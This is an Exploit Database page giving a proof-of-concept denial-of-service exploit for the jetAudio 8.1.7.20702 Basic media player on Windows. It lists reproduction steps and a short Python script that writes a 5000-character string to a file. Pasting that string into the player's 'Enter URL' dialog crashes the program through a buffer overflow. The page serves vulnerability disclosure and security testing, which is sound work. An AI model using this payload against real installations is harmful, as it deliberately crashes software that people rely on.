



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

jetAudio 8.1.7.20702 Basic - 'Enter URL' Denial of Service (PoC)

EDB-ID:

46810

CVE:

N/A

EDB Verified: ✘

Author:

[VICTOR MONDRAGÓN](#)

Type:

[DOS](#)

Exploit:  

Platform:

[WINDOWS](#)

Date:

2019-05-08

Vulnerable App: 





EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

```
#Exploit Title: jetAudio 8.1.7.20702 Basic - Denial of Service (PoC)
#Discovery by: Victor Mondragón
#Discovery Date: 2019-05-07
#Vendor Homepage: http://www.jetaudio.com/
#Software Link: http://www.jetaudio.com/download/
#Tested Version: 8.1.7.20702
#Tested on: Windows 7 Service Pack 1 x64 / Windows 10 Single Language x64
```

#Steps to produce the crash:

```
#1.- Run python code: jetAudio_8.1.7.20702.py
#2.- Open jetAudio.txt and copy content to clipboard
#2.- Open jetAudio
#3.- Select Menu > Basic Controls > Open URL...
#4.- In "Enter URL" Paste Clipboard after "http://"
#5.- Click on "Ok"
#6.- Crashed
```

```
cod = "\x41" * 5000
f = open('jetAudio.txt', 'w')
f.write(cod)
f.close()
```

Tags: [Denial of Service \(DoS\)](#),
[Buffer Overflow](#)

Advisory/Source: [Link](#)

[Databases](#) ▾[Links](#) ▾[Sites](#) ▾[Solutions](#) ▾

EXPLOIT DATABASE BY OFFSEC

[TERMS](#)[PRIVACY](#)[ABOUT US](#)[FAQ](#)[COOKIES](#)

©

[OffSec Services Limited](#) 2026. All rights reserved.